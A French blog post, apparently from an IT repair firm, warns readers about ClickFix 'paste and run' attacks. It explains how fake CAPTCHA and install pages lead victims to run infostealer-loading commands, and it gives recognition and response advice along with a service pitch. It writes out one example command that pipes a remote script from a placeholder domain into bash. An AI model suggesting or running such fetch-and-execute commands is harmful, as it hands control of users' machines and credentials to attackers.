Vous cherchez comment installer un logiciel, résoudre un problème sur votre Mac ou votre PC, et vous tombez sur un site qui semble sérieux - bonne mise en page, explications claires, même un logo Apple ou Microsoft bien visible. Le site vous demande simplement d'ouvrir le Terminal sur Mac, ou PowerShell sur Windows, et d'y coller une commande pour « vérifier votre identité » ou « corriger le problème ». Ne le faites pas.
Cette technique s'appelle le ClickFix - ou paste and run - et elle est en ce moment l'une des attaques informatiques les plus redoutables et les plus répandues au monde.
Comment ça fonctionne - et pourquoi c'est si efficace
Le scénario est toujours à peu près le même. Vous cherchez sur Google un logiciel ou une solution à un bug. Un résultat sponsorisé apparaît en haut de page - l'URL semble crédible. Le site affiche un faux message d'erreur, un faux CAPTCHA Cloudflare, ou une fausse page d'installation, et vous invite à ouvrir le Terminal puis à coller une commande du type curl https://un-site.com | bash. Vous collez, vous appuyez sur Entrée. L'attaque est lancée.
Cette habitude transforme le site en véritable télécommande de votre ordinateur : le script hébergé à cette adresse s'exécute immédiatement avec vos permissions - souvent celles d'un administrateur.
Et le pire, c'est que il n'y a aucun exploit, aucune faille zero-day, aucune pièce jointe suspecte. Google Safe Browsing ne signale rien, votre antivirus ne réagit pas, votre scanner d'emails ne voit rien - parce que techniquement, c'est vous qui avez exécuté la commande.
Des chiffres qui donnent le vertige
Les attaques ClickFix ont augmenté de 517 % en 2025, devenant le deuxième vecteur d'intrusion le plus utilisé, juste derrière le phishing traditionnel.
Et les victimes ne sont plus seulement des développeurs. Avec l'adoption croissante de l'IA, de plus en plus d'utilisateurs non techniques se retrouvent à manipuler ce type d'outils - et leur niveau de méfiance est naturellement plus bas.
C'est précisément ce que les attaquants ont compris et exploitent sans scrupule.
Sur Mac, le piège est particulièrement vicieux
En 2025, des attaquants ont créé de faux sites imitant des outils macOS de confiance comme Homebrew pour pousser des malwares, en invitant les utilisateurs à copier-coller des commandes d'installation apparemment anodines dans le Terminal, qui téléchargeaient et exécutaient discrètement un logiciel espion.
Des utilisateurs sur les forums Apple décrivent le même piège sous la forme d'une fausse vérification Cloudflare : une commande encodée en base64 est collée dans le Terminal, et c'est seulement au moment où macOS réclame le mot de passe administrateur que la plupart comprennent leur erreur - mais il est souvent déjà trop tard. Sur macOS, la commande malveillante télécharge un script depuis un domaine contrôlé par l'attaquant, souvent dissimulé en base64 pour paraître anodin.
Ce script télécharge ensuite un exécutable depuis un autre domaine, le rend actif et le lance silencieusement. À l'écran, rien de spectaculaire ne se passe : vous pensez simplement avoir installé un outil, pendant que le vrai payload fait silencieusement son travail.
Ce que vole concrètement ce type de malware
Ces attaques déploient principalement des infostealers - des logiciels conçus pour exfiltrer discrètement vos données. Concrètement, cela concerne vos mots de passe enregistrés dans Chrome, Safari ou Firefox, vos cookies de session qui permettent d'accéder à vos comptes sans même connaître votre mot de passe, vos éventuels portefeuilles de cryptomonnaies, vos fichiers sensibles comme des documents fiscaux ou des photos, et bien sûr vos identifiants Apple ID et iCloud. Tout cela est envoyé silencieusement aux attaquants, sans aucune alerte visible sur votre écran.
Comment reconnaître le piège avant de tomber dedans
Un site légitime - qu'il s'agisse d'Apple, Microsoft, Cloudflare ou de n'importe quel éditeur sérieux - ne vous demandera jamais d'ouvrir votre Terminal ou votre PowerShell pour vous identifier ou corriger un problème. C'est une règle absolue, sans exception. Si une page web vous y invite, quelle que soit la raison invoquée, fermez l'onglet immédiatement. Méfiez-vous également des résultats sponsorisés sur Google qui imitent l'apparence d'un site officiel, des commandes contenant des chaînes de caractères longues et incompréhensibles, et de tout sentiment d'urgence artificiel du type « faites-le maintenant pour continuer ».
Vous avez collé une commande sans réfléchir - que faire ?
Si cela vous est arrivé, la priorité absolue est de couper votre connexion internet immédiatement - Wi-Fi et câble - pour stopper toute exfiltration de données en cours. Il ne faut surtout pas éteindre brutalement la machine, car les traces de l'attaque se trouvent en mémoire vive et peuvent aider au diagnostic. Depuis un autre appareil sain, changez tous vos mots de passe importants et prévenez votre banque si vos identifiants financiers pourraient être concernés. Puis appelez-nous : chaque minute compte dans ce type d'incident.
Ce que SOS PCKC peut faire pour vous
Chez SOS PCKC, nous intervenons sur ce type d'incident au quotidien. Nous commençons par une analyse forensique complète du Mac ou du PC pour identifier précisément ce qui a été exécuté et ce qui a pu être transmis à l'extérieur. Nous procédons ensuite à une désinfection en profondeur - suppression du malware, des scripts résiduels et de toute porte dérobée éventuelle laissée par l'attaque. Enfin, nous sécurisons l'ensemble : changement des accès compromis, audit des navigateurs et du trousseau macOS, et réinstallation propre du système si la situation l'exige. Parce qu'un Mac nettoyé à moitié n'est pas un Mac sécurisé, nous allons jusqu'au bout.
Un doute ? Un incident ? Contactez SOS PCKC.